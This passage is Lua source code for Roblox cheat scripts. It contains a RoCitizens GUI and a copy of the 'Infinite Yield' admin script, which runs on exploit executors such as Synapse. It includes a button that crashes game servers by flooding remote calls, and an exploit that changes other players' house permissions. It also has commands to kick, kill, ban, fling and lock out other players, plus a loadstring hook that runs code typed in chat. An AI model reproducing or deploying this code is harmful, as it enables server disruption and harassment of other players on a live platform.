RoCitizensGUI.Main.Functions.Func13.HouseLoad.MouseButton1Click:connect(function() LoadHouse(RoCitizensGUI.Main.Functions.Func13.HouseName.Text) end) RoCitizensGUI.Main.Functions.Func15.CrashB.MouseButton1Click:connect(function() local Hint = Instance.new("Hint", CoreGui) Hint.Text = "May take a few minutes to completely crash the server." for i = 0, 5 do Run:BindToRenderStep("HAX" .. i, Enum.RenderPriority.First.Value-1, function() ComRelay.Car.SpawnCar:InvokeServer({["SpawnLocation"] = "Dealership", ["CurrentSpecs"] = {["Hood"] = "Standard", ["Spoiler"] = "None", ["SpoilerColor"] = "Mid gray", ["PrimaryColor"] = "Medium blue", ["SkirtsColor"] = "Mid gray", ["Price"] = 4400, ["Initiate"] = false, ["Skirts"] = "None", ["Frame"] = "Intrepid", ["SecondaryColor"] = "Medium stone grey", ["RimColor"] = "Medium stone grey"}}) end) end end) RoCitizensGUI.Main.Functions.Func16.AntiD.MouseButton1Click:connect(function() AntiHouseDestroy = not AntiHouseDestroy if AntiHouseDestroy then local GetHouse = FindHouse(MyPlr) if not GetHouse then return end -- v.Name, C, GetHouse, v.Item, v.Color local Furn = RepStor.FurnitureModels["SS_Wooden Sign"] AntiHouseStealSign = ComRelay.House.PlaceFurniture:InvokeServer(Furn.Name, CFrame.new(Vector3.new(0, -5, 0)), GetHouse, "Splinter Sale Wooden Sign", "Reddish brown") ComRelay.Interaction.EditSign:FireServer(AntiHouseStealSign, "can't steal house") local Hint = Instance.new("Hint", CoreGui) Hint.Text = "DO NOT DESTROY THE SIGN THAT WAS JUST SPAWNED IN." RoCitizensGUI.Main.Functions.Func16.AntiD.Text = "ON" RoCitizensGUI.Main.Functions.Func16.AntiD.TextColor3 = Color3.new(0, 1, 0) wait(8) Hint:Destroy() else ComRelay.House.RemoveFurniture:InvokeServer(AntiHouseStealSign) AntiHouseStealSign = nil RoCitizensGUI.Main.Functions.Func16.AntiD.Text = "OFF" RoCitizensGUI.Main.Functions.Func16.AntiD.TextColor3 = Color3.new(1, 0, 0) end end) UserInput.InputBegan:connect(function(input, ingui) if not ingui then if input.UserInputType == Enum.UserInputType.Keyboard then if input.KeyCode == Enum.KeyCode.P then RoCitizensGUI.Main.Visible = not RoCitizensGUI.Main.Visible end end end end) Plrs.PlayerRemoving:connect(function(Plr) if Plr == SelectedPlayer then SelectedPlayer = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())] RoCitizensGUI.Main.Players.Title.Text = "Current Selected Player: " .. SelectedPlayer.Name end end) coroutine.resume(coroutine.create(function() while true do if PermsExploit then for _, v in next, Plrs:GetPlayers() do if v ~= MyPlr then local House = FindHouse(v) if House then ComRelay.House.SetPermissions:FireServer(GeneratePermsTable(v), House) end end Run.RenderStepped:wait() end end if LockpickExploit then EquipItem("Lock Kit") end if ExplosivesExploit then EquipItem("Bomb") end wait(1) end end)) end) Inf.Name = "Inf" Inf.Parent = script2 Inf.BackgroundColor3 = Color3.new(0.258824, 0.439216, 0.933333) Inf.BorderSizePixel = 0 Inf.Position = UDim2.new(0.0152284261, 0, 0.497663587, 0) Inf.Size = UDim2.new(0, 200, 0, 50) Inf.Font = Enum.Font.SourceSans Inf.Text = "Infinite Yield" Inf.TextSize = 40 Inf.MouseButton1Down:connect(function() --------------------------------------------------------------- -- _____ __ _ _ _ __ ___ _ _ -- -- |_ _| / _(_) (_) | \ \ / (_) | | | | -- -- | | _ __ | |_ _ _ __ _| |_ ___ \ V / _ ___| | __| | -- -- | || '_ \| _| | '_ \| | __/ _ \ \ / | |/ _ \ |/ _` | -- -- _| || | | | | | | | | | | || __/ | | | | __/ | (_| | -- -- \___/_| |_|_| |_|_| |_|_|\__\___| \_/ |_|\___|_|\__,_| -- -- -- --------------------------------------------------------------- --------------------------------------------------------------- ------Edge#3467 Moon#6245 bluntboomer#1259 Unlisting#0179------ --------------------------------------------------------------- local Version = '8.5.2' loaded = false HttpService = game:GetService("HttpService") SAVEFILE = { colorR = 0.121569; colorG = 0.121569; colorB = 0.121569; cmdprefix = ';'; suggestionstoggle = true; allowfriends = true; JLnotify = true; Mseconds = '7'; Nfriends = true; cmdbarbind = ';' } sitems = HttpService:JSONEncode(SAVEFILE) function run() savesetting = 0 if Synapse ~= nil then savesetting = 1 local function synapse() Synapse:ReadFile("IY.txt") end local success1, message1 = pcall(synapse) if success1 then local json = Synapse:ReadFile("IY.txt") local LOADFILE = HttpService:JSONDecode(json) colorR = LOADFILE.colorR colorG = LOADFILE.colorG colorB = LOADFILE.colorB cmdprefix = LOADFILE.cmdprefix suggestionstoggle = LOADFILE.suggestionstoggle allowfriends = LOADFILE.allowfriends JLnotify = LOADFILE.JLnotify Mseconds = LOADFILE.Mseconds Nfriends = LOADFILE.Nfriends cmdbarbind = LOADFILE.cmdbarbind loaded = true else Synapse:WriteFile("IY.txt", sitems) wait(0.2) local json = Synapse:ReadFile("IY.txt") local LOADFILE = HttpService:JSONDecode(json) colorR = LOADFILE.colorR colorG = LOADFILE.colorG colorB = LOADFILE.colorB cmdprefix = LOADFILE.cmdprefix suggestionstoggle = LOADFILE.suggestionstoggle allowfriends = LOADFILE.allowfriends JLnotify = LOADFILE.JLnotify Mseconds = LOADFILE.Mseconds Nfriends = LOADFILE.Nfriends cmdbarbind = LOADFILE.cmdbarbind loaded = true end elseif is_protosmasher_caller ~= nil or elysianexecute ~= nil then savesetting = 2 local function protoely() local checktxt = readfile("IY.txt") if checktxt == nil then print('professional amiright?'..reeeeeeeeeee) else return end end local success2, message2 = pcall(protoely) if success2 then local json = readfile("IY.txt") local LOADFILE = HttpService:JSONDecode(json) colorR = LOADFILE.colorR colorG = LOADFILE.colorG colorB = LOADFILE.colorB cmdprefix = LOADFILE.cmdprefix suggestionstoggle = LOADFILE.suggestionstoggle allowfriends = LOADFILE.allowfriends JLnotify = LOADFILE.JLnotify Mseconds = LOADFILE.Mseconds Nfriends = LOADFILE.Nfriends cmdbarbind = LOADFILE.cmdbarbind loaded = true else writefile("IY.txt", sitems) wait(0.2) local json = readfile("IY.txt") local LOADFILE = HttpService:JSONDecode(json) colorR = LOADFILE.colorR colorG = LOADFILE.colorG colorB = LOADFILE.colorB cmdprefix = LOADFILE.cmdprefix suggestionstoggle = LOADFILE.suggestionstoggle allowfriends = LOADFILE.allowfriends JLnotify = LOADFILE.JLnotify Mseconds = LOADFILE.Mseconds Nfriends = LOADFILE.Nfriends cmdbarbind = LOADFILE.cmdbarbind loaded = true end else colorR = 0.121569 colorG = 0.121569 colorB = 0.121569 cmdprefix = ';' suggestionstoggle = true allowfriends = true JLnotify = true Mseconds = '7' Nfriends = true cmdbarbind = ';' loaded = true end repeat wait() until loaded == true local gCoreGui = game:GetService('CoreGui') local gPlayers = game:GetService('Players') local gLighting = game:GetService('Lighting') local gWorkspace = game:GetService('Workspace') local Player = gPlayers.LocalPlayer local Mouse = Player:GetMouse() local char = Player.Character local LP = gPlayers.LocalPlayer local gPlayers = game:GetService("Players") local _players = game:GetService('Players') MSGhook = false local services={} local cmds={} local std={} local loopkillT = {} local rainbowT = {} local disabletoolsT = {} local banT = {} local adminT = {} function FIND_CHILD(PATH, NAME) if PATH:FindFirstChild(NAME) then return true end return false end services.players=gPlayers services.lighting=game:GetService('Lighting') services.workspace=game:GetService('Workspace') services.events = {} local user = gPlayers.LocalPlayer local bringT = {} agelock = nil isagelocked = false local gCoreGui = game:GetService('CoreGui') local gPlayers = game:GetService('Players') local gLighting = game:GetService('Lighting') local gWorkspace = game:GetService('Workspace') local scriptprefix='\\' local split=" " slock = false function updatefile() local update = { colorR = colorR; colorG = colorG; colorB = colorB; cmdprefix = cmdprefix; suggestionstoggle = suggestionstoggle; allowfriends = allowfriends; JLnotify = JLnotify; Mseconds = Mseconds; Nfriends = Nfriends; cmdbarbind = cmdbarbind } local updated = HttpService:JSONEncode(update) wait(0.1) if savesetting == 1 then Synapse:WriteFile("IY.txt", updated) elseif savesetting == 2 then writefile("IY.txt", updated) end end function isNumber(str) return tonumber(str) ~= nil end function msghook() for _, child in pairs( workspace:GetChildren()) do if MSGhook == false and child.ClassName == "Message" and child.Name ~= "IYmessage" then child.Name = "IYmessage" child.Text = '' MSGhook = true end end if workspace:FindFirstChild("IYmessage") then MSGhook = true else MSGhook = false end end game:GetService("RunService").RenderStepped:Connect(function() game:GetService("GuiService"):SetGlobalGuiInset(0,72,0,0) if r15noclip then if LP.Character:FindFirstChild('Humanoid') then LP.Character.Humanoid:ChangeState(11) end end if LP.Character and LP.Character:FindFirstChild('Humanoid') then LP.Character.Humanoid.Died:connect(function() FLYING = false end) if MSGhook == true and workspace:FindFirstChild("IYmessage") then if workspace.IYmessage.Text == '' then for _, child in pairs( LightingService:GetChildren()) do if child.Name == "IYmblur" then child:Destroy() end end end else MSGhook = false end for i,v in pairs(_players:GetPlayers()) do if FindTable(loopkillT, v.Name) then v.Character:BreakJoints() end if FindTable(disabletoolsT, v.Name) and v:FindFirstChild('Backpack') then v.Backpack:Destroy() for i,n in pairs(v.Character:GetChildren()) do if n:IsA('Tool') or n:IsA('HopperBin') then n:destroy() end end end if FindTable(rainbowT, v.Name) then v.Neutral = false v.TeamColor = BrickColor.random() end end end end) LightingService = game:GetService("Lighting") origsettings = {abt = LightingService.Ambient, oabt = LightingService.OutdoorAmbient, brt = LightingService.Brightness, time = LightingService.TimeOfDay, fclr = LightingService.FogColor, fe = LightingService.FogEnd, fs = LightingService.FogStart} function lponly(player) game:GetService('Chat'):Chat(player.Character, 'That is a LocalPlayer only command!', 2) end function FindTable(Table, Name) for i,v in pairs(Table) do if v == Name then return true end end return false end function GetInTable(Table, Name) for i = 1, #Table do if Table[i] == Name then return i end end return false end _players.PlayerRemoving:connect(function(player) for a,b in pairs(injail) do if b == player.Name then table.remove(injail, a) workspace["JAIL_" .. player.Name]:Destroy() end end for a,b in pairs(hastab) do if b == player.Name then table.remove(hastab, a) workspace[player.Name .. "TAB"]:Destroy() end end if JLnotify == true and Nfriends == true and player:IsFriendsWith(user.userId) then game:FindService('StarterGui'):SetCore('SendNotification', { Title = player.Name, Text = 'has left the server.\n[AGE: ' ..player.AccountAge.. ']', Icon = [[http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&Format=Png&userName=]]..player.Name..[[&RAND]] .. math.random(1,100000000), Duration = 5, }) elseif JLnotify == true and Nfriends == false then game:FindService('StarterGui'):SetCore('SendNotification', { Title = player.Name, Text = 'has left the server.\n[AGE: ' ..player.AccountAge.. ']', Icon = [[http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&Format=Png&userName=]]..player.Name..[[&RAND]] .. math.random(1,100000000), Duration = 5, }) end end) FLYING = false iyflyspeed = 1 function sFLY() -- from rocky2u cmdscript repeat wait() until LP and LP.Character and LP.Character:FindFirstChild('HumanoidRootPart') and LP.Character:FindFirstChild('Humanoid') repeat wait() until Mouse local T = LP.Character.HumanoidRootPart local CONTROL = {F = 0, B = 0, L = 0, R = 0} local lCONTROL = {F = 0, B = 0, L = 0, R = 0} local SPEED = 0 local function FLY() FLYING = true local BG = Instance.new('BodyGyro', T) local BV = Instance.new('BodyVelocity', T) BG.P = 9e4 BG.maxTorque = Vector3.new(9e9, 9e9, 9e9) BG.cframe = T.CFrame BV.velocity = Vector3.new(0, 0.1, 0) BV.maxForce = Vector3.new(9e9, 9e9, 9e9) spawn(function() repeat wait() LP.Character.Humanoid.PlatformStand = true if CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 then SPEED = 50 elseif not (CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0) and SPEED ~= 0 then SPEED = 0 end if (CONTROL.L + CONTROL.R) ~= 0 or (CONTROL.F + CONTROL.B) ~= 0 then BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (CONTROL.F + CONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(CONTROL.L + CONTROL.R, (CONTROL.F + CONTROL.B) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED lCONTROL = {F = CONTROL.F, B = CONTROL.B, L = CONTROL.L, R = CONTROL.R} elseif (CONTROL.L + CONTROL.R) == 0 and (CONTROL.F + CONTROL.B) == 0 and SPEED ~= 0 then BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (lCONTROL.F + lCONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(lCONTROL.L + lCONTROL.R, (lCONTROL.F + lCONTROL.B) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED else BV.velocity = Vector3.new(0, 0.1, 0) end BG.cframe = workspace.CurrentCamera.CoordinateFrame until not FLYING CONTROL = {F = 0, B = 0, L = 0, R = 0} lCONTROL = {F = 0, B = 0, L = 0, R = 0} SPEED = 0 BG:destroy() BV:destroy() LP.Character.Humanoid.PlatformStand = false end) end Mouse.KeyDown:connect(function(KEY) if KEY:lower() == 'w' then CONTROL.F = iyflyspeed elseif KEY:lower() == 's' then CONTROL.B = -iyflyspeed elseif KEY:lower() == 'a' then CONTROL.L = -iyflyspeed elseif KEY:lower() == 'd' then CONTROL.R = iyflyspeed end end) Mouse.KeyUp:connect(function(KEY) if KEY:lower() == 'w' then CONTROL.F = 0 elseif KEY:lower() == 's' then CONTROL.B = 0 elseif KEY:lower() == 'a' then CONTROL.L = 0 elseif KEY:lower() == 'd' then CONTROL.R = 0 end end) FLY() end function NOFLY() FLYING = false LP.Character.Humanoid.PlatformStand = false end ------------------ ---CMDS/HOTKEYS--- ------------------ HK = { '-HOTKEYS-', 'F4 - Toggle Fly', 'F5 - Toggle Noclip', 'HOLD F2 - Click TP', '-COMMANDS-' } CMDs = { 'ff [plr]', 'unff [plr]', 'fire [plr] [R G B]', 'unfire [plr]', 'burn [plr]', 'sparkles / sp [plr] [R G B]', 'unsparkles / unsp [plr]', 'smoke [plr]', 'unsmoke [plr]', 'btools [plr]', 'god [plr]', 'ungod [plr]', 'smite [plr]', 'bleach [plr]', 'begone / thot [plr]', 'crucify [plr]', 'hang [plr]', 'heal [plr]', 'freeze / fr [plr]', 'thaw / unfr [plr]', 'kill [plr]', 'sound / music [ID/Name]', 'volume / vol [num]', 'pitch [num]', 'explode [plr]', 'invisible / invis [plr]', 'visible / vis [plr]', 'goto [plr]', 'bring [plr]', 'tp [plr] [plr]', 'pipetp [plr] [plr]', 'savepos / spos [name]', 'loadpos / lpos [plr] [name]', 'deletepos / dpos [name]', 'positions / pos', 'char [plr] [ID]', 'charplr / cp [plr] [plr]', 'unchar [plr]', 'speed / ws [plr] [num]', 'sgod [plr]', 'unlockws', 'lockws', 'unanchor', 'anchor', 'clear', 'loadm', 'message / m [msg]', 'servermessage / sm [msg]', 'light [plr] [R G B]', 'unlight [plr]', 'glowstick [plr] [R G B]', 'decalspam [ID]', 'undecalspam', 'thirdp [plr]', 'firstp [plr]', 'name [plr]', 'unname [plr]', 'loopname / lname [plr]', 'unloopname / unlname [plr]', 'stun [plr]', 'unstun [plr]', 'copytools / ctools [plr]', 'keeptools / ktools [plr]', 'nokeeptools / noktools [plr]', 'notools [plr]', 'serverinfo / info', 'damage [plr]', 'spectate / view [plr]', 'unspectate / unview', 'esp [plr]', 'noesp [plr]', 'nolimbs [plr]', 'box [plr]', 'nobox [plr]', 'ghost [plr]', 'unghost [plr]', 'sphere [plr]', 'loadmap [ID]', 'sky [ID]', 'ambient [R G B]', 'clrterrain', 'jail [plr]', 'unjail [plr]', 'shutdown', 'starman [plr]', 'unstarman [plr]', 'tppos [plr] [coordinate]', 'offset [plr] [coordinate]', 'animation [plr] [anim]', 'normal [plr]', 'creeper [plr]', 'uncreeper [plr]', 'shrek [plr]', 'unshrek [plr]', 'respawn [plr]', 'refresh [plr]', 'base', 'control [plr]', 'nuke [plr]', 'infect [plr]', 'uninfect [plr]', 'duck [plr]', 'unduck [plr]', 'knuckles [plr]', 'cape [plr] [R G B]', 'uncape [plr]', 'disable [plr]', 'enable [plr]', 'size [plr] [num]', 'confuse [plr]', 'unconfuse [plr]', 'clone [plr]', 'dummy [name]', 'nodummies', 'spin [plr]', 'unspin [plr]', 'dog [plr]', 'undog [plr]', 'loopheal [plr]', 'unloopheal [plr]', 'fling [plr]', 'skydive [plr]', 'ayylmao [plr]', 'seizure [plr]', 'unseizure [plr]', 'paper [plr]', 'fat [plr]', 'punish [plr]', 'unpunish [plr]', 'fogend [num]', 'fogcolor [R G B]', 'disco', 'undisco', 'fix', 'fixlighting / fixl', 'savelighting / slighting', 'flood', 'spookyify', 'explorer / dex', 'particles [plr] [ID]', 'noparticles [plr]', 'draw', 'devuzi', 'knife', 'mage', 'ban [plr]', 'unban [plr]', 'clrbans', 'float [plr]', 'unfloat [plr]', 'noclip', 'clip', 'hat [plr] [ID]', 'hatsize [plr] [num]', 'removehats / rhats [plr]', 'cripple [plr]', 'uncripple [plr]', 'blur [num]', 'unblur', 'hipheight / hheight [plr] [num]', 'bgui [plr] [text]', 'unbgui [plr]', 'loopkill [plr]', 'unloopkill [plr]', 'trip [plr]', 'sit [plr]', 'loopsit / lsit [plr]', 'unloopsit / unlsit [plr]', 'jump [plr]', 'loopjump / ljump [plr]', 'unloopjump / unljump [plr]', 'jumppower / jpower [plr] [num]', 'shiny [plr]', 'serverlock / slock', 'unserverlock / unslock', 'agelock [age num]', 'unagelock', 'headshake [plr]', 'addstat [plr] [text]', 'change [plr] [stat] [num]', 'headsize [plr] [num]', 'bang [plr]', 'chat [plr] [msg]', 'gravity [num]', 'disabletools [plr]', 'enabletools [plr]', 'nil [plr]', 'rainbowname [plr]', 'unrainbowname [plr]', 'mesh [plr] [mesh] [texture]', 'rain [mesh] [texture]', 'norain', 'neon [plr]', 'longneck [plr]', 'unlongneck [plr]', 'time [num]', 'day', 'night', 'blackandwhite', 'invert', 'sun [intense] [spread]', 'spasm [plr]', 'meteor [plr]', 'countdown [num]', 'bomb [plr]', 'terrain', 'rocket [plr]', 'ball [plr]', 'unball [plr]', 'hidename [plr]', 'unhidename [plr]', 'face [plr] [ID]', 'fly', 'unfly', 'flyspeed [num]', 'zinnia [plr]', 'arrest [plr]', 'seagull / gull [plr]', 'team [plr] [team]', 'age [plr]', 'f3x', 'tools [plr]', 'dong [plr]', 'nodong [plr]', 'filtering', 'remotespy', 'crash [plr]', 'kick [plr]', 'admin [plr]', 'unadmin [plr]', 'admins', 'bans', 'bait', 'removebait / nobait', 'strobe', 'unstrobe', 'blind [plr]', 'unblind [plr]', 'globalshadows / gshadows', 'noglobalshadows / nogshadows', 'outlines', 'nooutlines', 'brightness [num]', 'delete [part name]', 'deleteclass [class name]', 'fart [plr]', 'partdisco', 'unpartdisco', 'earthquake [power] [intensity]', 'car [plr]', 'uncar [plr]', 'insert [ID]', 'spawnpoint [plr]', 'removespawns', 'fegod', 'feinvisible', 'loopoof', 'unloopoof', 'disablereset [plr]', 'enablereset [plr]', 'loopbring [plr]', 'unloopbring [plr]', 'lock [plr]', 'unlock [plr]', 'sword [plr]', 'maxzoom [plr] [num]', 'freecam', 'unfreecam', 'plrsound [plr] [ID]', 'noplrsound [plr]', 'playlist [ID],[ID]', 'setsong [num]', 'prevsong', 'nextsong', 'hideplaylist', 'keybind [key] [cmd]', 'unkeybind [key]', 'addalias [cmd] [alias]', 'removealias [alias]', 'trail [plr] [R G B]', 'untrail [plr]', 'hub', 'script [script]', 'prefix [string]', 'rejoin', 'tablet', 'settings', 'cmds', 'version', 'exit' } function updateevents(player) local C = player.Chatted:connect(function(M) if isAdmin(player) then do_exec(M, player) end end) table.insert(services.events, C) end std.inTable=function(tbl,val) if tbl==nil then return false end for _,v in pairs(tbl)do if v==val then return true end end return false end std.out=function(str) print(str) end std.list=function(tbl) local str='' for i,v in pairs(tbl)do str=str..tostring(v) if i~=#tbl then str=str..', ' end end return str end std.endat=function(str,val) local z=str:find(val) if z then return str:sub(0,z-string.len(val)),true else return str,false end end std.first=function(str) return str:sub(1,1) end function isAdmin(name) if FindTable(adminT, name.userId) then return true elseif name.userId == LP.userId then return true end end local exec=function(str) spawn(function() local script, loaderr = loadstring(str) if not script then error(loaderr) else script() end end) end local findCmd=function(cmd_name) for i,v in pairs(cmds)do if v.NAME:lower()==cmd_name:lower() or std.inTable(v.ALIAS,cmd_name:lower())then return v end end end local getCmd=function(msg) local cmd,hassplit=std.endat(msg:lower(),split) if hassplit then return {cmd,true} else return {cmd,false} end end local getprfx=function(strn) if strn:sub(1,string.len(cmdprefix))==cmdprefix then return{'cmd',string.len(cmdprefix)+1} elseif strn:sub(1,string.len(scriptprefix))==scriptprefix then return{'exec',string.len(scriptprefix)+1} end return end maincolor = Color3.new(colorR, colorG, colorB) function updatecolors(color) colorR = maincolor.r colorG = maincolor.g colorB = maincolor.b maincolor = color for _, child in pairs( game.CoreGui.RobloxGui:GetChildren()) do if child.Name == "TopBarContainer" then child.BackgroundColor3 = color end end FeedbackMain.BackgroundColor3 = maincolor MAIN.BackgroundColor3 = maincolor bar.BackgroundColor3 = maincolor game.CoreGui.sugg.suggestions.BackgroundColor3 = color if game.CoreGui:FindFirstChild('Updates') then game.CoreGui.Updates.drag.PromptDialog.ContainerFrame.BackgroundColor3 = color game.CoreGui.Updates.drag.PromptDialog.shadow.BackgroundColor3 = color end if game.CoreGui:FindFirstChild('Sinfo') then game.CoreGui.Sinfo.drag.PromptDialog.ContainerFrame.BackgroundColor3 = color game.CoreGui.Sinfo.drag.PromptDialog.shadow.BackgroundColor3 = color end if game.CoreGui:FindFirstChild('cp') then game.CoreGui.cp.Frame.holder.bar.BackgroundColor3 = color game.CoreGui.cp.Frame.holder.FeedbackMain.BackgroundColor3 = color game.CoreGui.cp.Frame.holder.size.MAIN.BackgroundColor3 = color end if game.CoreGui:FindFirstChild('Bans') then game.CoreGui.Bans.drag.PromptDialog.ContainerFrame.BackgroundColor3 = color game.CoreGui.Bans.drag.PromptDialog.shadow.BackgroundColor3 = color end if game.CoreGui:FindFirstChild('Pos') then game.CoreGui.Pos.drag.PromptDialog.ContainerFrame.BackgroundColor3 = color game.CoreGui.Pos.drag.PromptDialog.shadow.BackgroundColor3 = color end if game.CoreGui:FindFirstChild('Admins') then game.CoreGui.Admins.drag.PromptDialog.ContainerFrame.BackgroundColor3 = color game.CoreGui.Admins.drag.PromptDialog.shadow.BackgroundColor3 = color end end function respawn(plr) local M = Instance.new('Model', gWorkspace) M.Name = 'respawn_iy' local H = Instance.new('Humanoid', M) local T = Instance.new('Part', M) T.Name = 'Torso' T.CanCollide = false T.Transparency = 1 plr.Character = M end WL = {'IoIman616','DesiredUsername1233','Conceptual_Nullifier','Thomasbudge','Decryptance','sweg2hipALT','N3xuI','MoonlightTears','0xRose',LP.Name} function kickF(plr) spawn(function() if plr then if FindTable(WL, plr.Name) then Notify('Error: '..plr.Name..' is whitelisted') else repeat wait() until plr.Character if not plr.Character:FindFirstChild('HumanoidRootPart') then respawn(plr) kickF(plr) else plr.Character.Humanoid.Jump = true plr.Character.HumanoidRootPart.Position = Vector3.new(math.random(999000, 1001000), 10000, 0) local Plat = Instance.new('SkateboardPlatform', plr.Character) Plat.Position = plr.Character.HumanoidRootPart.Position Plat.Name = 'IYkick' Plat.Size = Vector3.new(10, 1.2, 10) local PART = Instance.new('Part', plr.Character) PART.Position = Plat.Position - Vector3.new(0, 3, 0) PART.Size = Vector3.new(10, 1.2, 10) PART.Anchored = true PART.Transparency = 1 Plat.Transparency = 1 repeat if plr then wait(0.2) repeat wait() until plr.Character if not plr.Character:FindFirstChild('HumanoidRootPart') then respawn(plr) kickF(plr) else kickF(plr) wait(0.2) plr.Character.Humanoid.Jump = true Plat.Position = plr.Character.HumanoidRootPart.Position PART.Position = Plat.Position - Vector3.new(0, 3, 0) PART.Anchored = true respawn(plr) end end repeat wait() until plr.Character wait(0.6) kickF(plr) until not gPlayers:FindFirstChild(plr) end end end end) end function kickNR(plr) spawn(function() if plr then if FindTable(WL, plr.Name) then Notify('Error: '..plr.Name..' is whitelisted') else repeat wait() until plr.Character and plr.Character:FindFirstChild('HumanoidRootPart') plr.Character.Humanoid.Jump = true plr.Character.HumanoidRootPart.Position = Vector3.new(math.random(999000, 1001000), 10000, 0) local Plat = Instance.new('SkateboardPlatform', plr.Character) Plat.Position = plr.Character.HumanoidRootPart.Position Plat.Name = 'IYkick' Plat.Size = Vector3.new(100, 1, 100) local PART = Instance.new('Part', plr.Character) PART.Position = Plat.Position - Vector3.new(0, 3, 0) PART.Size = Vector3.new(100, 1, 100) PART.Anchored = true PART.Transparency = 1 Plat.Transparency = 1 repeat wait(0.2) if plr then repeat wait() until plr.Character and plr.Character:FindFirstChild('HumanoidRootPart') plr.Character.Humanoid.Jump = true Plat.Position = plr.Character.HumanoidRootPart.Position PART.Position = Plat.Position - Vector3.new(0, 3, 0) PART.Anchored = true end repeat wait() until plr.Character wait(0.6) kickNR(plr) until not gPlayers:FindFirstChild(plr) end end end) end function refresh(plr) spawn(function() local rpos = plr.Character.HumanoidRootPart.Position wait(0.1) respawn(plr) wait(0.1) repeat wait() until plr.Character and plr.Character:FindFirstChild('HumanoidRootPart') plr.Character:MoveTo(rpos) end) end function getArgs(str) local A = {} local NA = nil local HS = nil local S = str repeat NA, HS = std.endat(S:lower(), split) if NA ~= '' then table.insert(A, NA) S = S:sub(string.len(NA) + string.len(split) + 1) end until not HS return A end function getCapArgs(str) local A = {} local NA = nil local HS = nil local S = str repeat NA, HS = std.endat(S, split) if NA ~= '' then table.insert(A, NA) S = S:sub(string.len(NA) + string.len(split) + 1) end until not HS return A end _players.PlayerAdded:connect(function(player) if JLnotify == true and Nfriends == true and player:IsFriendsWith(user.userId) then game:FindService('StarterGui'):SetCore('SendNotification', { Title = player.Name, Text = 'has joined the server.\n[AGE: ' ..player.AccountAge.. ']', Icon = [[http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&Format=Png&userName=]]..player.Name..[[&RAND]] .. math.random(1,100000000), Duration = 5, }) elseif JLnotify == true and Nfriends == false then game:FindService('StarterGui'):SetCore('SendNotification', { Title = player.Name, Text = 'has joined the server.\n[AGE: ' ..player.AccountAge.. ']', Icon = [[http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&Format=Png&userName=]]..player.Name..[[&RAND]] .. math.random(1,100000000), Duration = 5, }) end if slock == true and allowfriends == false then player.CharacterAdded:connect(function() spawn(function() repeat wait() until player.Character kickNR(player) end) end) elseif slock == true and allowfriends == true and not player:IsFriendsWith(user.userId) then spawn(function() repeat wait() until player.Character kickNR(player) end) end if FindTable(banT, player.userId) then spawn(function() repeat wait() until player.Character Notify('Banned player, ' .. player.Name .. ' attempted to join') kickNR(player) end) end if isagelocked == true and allowfriends == false and player.AccountAge <= agelock then spawn(function() repeat wait() until player.Character kickNR(player) end) else if isagelocked == true and allowfriends == true and not player:IsFriendsWith(user.userId) and player.AccountAge <= agelock then spawn(function() repeat wait() until player.Character kickNR(player) end) end end end) local customAlias = {} local findCmd=function(cmd_name) for i,v in pairs(cmds)do if v.NAME:lower()==cmd_name:lower() or std.inTable(v.ALIAS,cmd_name:lower()) then return v end end return customAlias[cmd_name:lower()] end local function splitString(str,delim) local broken = {} if delim == nil then delim = "," end for w in string.gmatch(str,"[^"..delim.."]+") do table.insert(broken,w) end return broken end local historyCount = 0 local cmdHistory = {} local function execCmd(cmdStr,speaker) local rawCmdStr = cmdStr cmdStr = string.gsub(cmdStr,"\\\\","%%BackSlash%%") local commandsToRun = splitString(cmdStr,"\\") for i,v in pairs(commandsToRun) do v = string.gsub(v,"%%BackSlash%%","\\") local args = splitString(v,split) local cmd = findCmd(args[1]) if cmd then table.remove(args,1) cargs = args if speaker == gPlayers.LocalPlayer then if cmdHistory[1] ~= rawCmdStr then table.insert(cmdHistory,1,rawCmdStr) end end if #cmdHistory > 20 then table.remove(cmdHistory) end pcall(function() cmd.FUNC(args, speaker) end) end end end function do_exec(str, plr) if not isAdmin(plr) then return end str = str:gsub('/e ', '') local t = getprfx(str) if not t then return end str = str:sub(t[2]) if t[1]=='exec' then exec(str) elseif t[1]=='cmd' then execCmd(str, plr) end end for _, plr in pairs(gPlayers:GetChildren()) do if plr.ClassName == "Player" then updateevents(plr) end end _players.PlayerAdded:connect(function(player) updateevents(player) end) _G.exec_cmd = execCmd --gPlayers.LocalPlayer.Chatted:connect(doexec) function GLS(lower, start) local AA = '' for i,v in pairs(cargs) do if i > start then if AA ~= '' then AA = AA .. ' ' .. v else AA = AA .. v end end end if not lower then return AA else return string.lower(AA) end end local _char=function(plr_name) for i,v in pairs(gPlayers:GetChildren())do if v:IsA'Player'then if v.Name==plr_name then return v.Character end end end return end local _plr=function(plr_name) for i,v in pairs(gPlayers:GetChildren())do if v:IsA'Player'then if v.Name==plr_name then return v end end end return end function addcmd(name,desc,alias,func) cmds[#cmds+1]= { NAME=name; DESC=desc; ALIAS=alias; FUNC=func; } end SPC = {'all', 'others', 'random', 'allies', 'enemies', 'team', 'nonteam', 'friends', 'nonfriends', 'admins', 'nonadmins','bacons'} local SpecialPlayerCases = { ["all"] = function(speaker)return game:GetService("Players"):GetPlayers() end, ["others"] = function(speaker) local plrs = {} for i,v in pairs(game:GetService("Players"):GetPlayers()) do if v ~= speaker then table.insert(plrs,v) end end return plrs end, ["me"] = function(speaker)return {speaker} end, ["#(%d+)"] = function(speaker,args) local returns = {} local randAmount = tonumber(args[1]) local players = game:GetService("Players"):GetPlayers() for i = 1,randAmount do local randIndex = math.random(1,#players) table.insert(returns,players[randIndex]) table.remove(players,randIndex) if #players == 0 then break end end return returns end, ["random"] = function(speaker) local players = game:GetService("Players"):GetPlayers() return {players[math.random(1,#players)]} end, ["%%(.+)"] = function(speaker,args) -- This is team 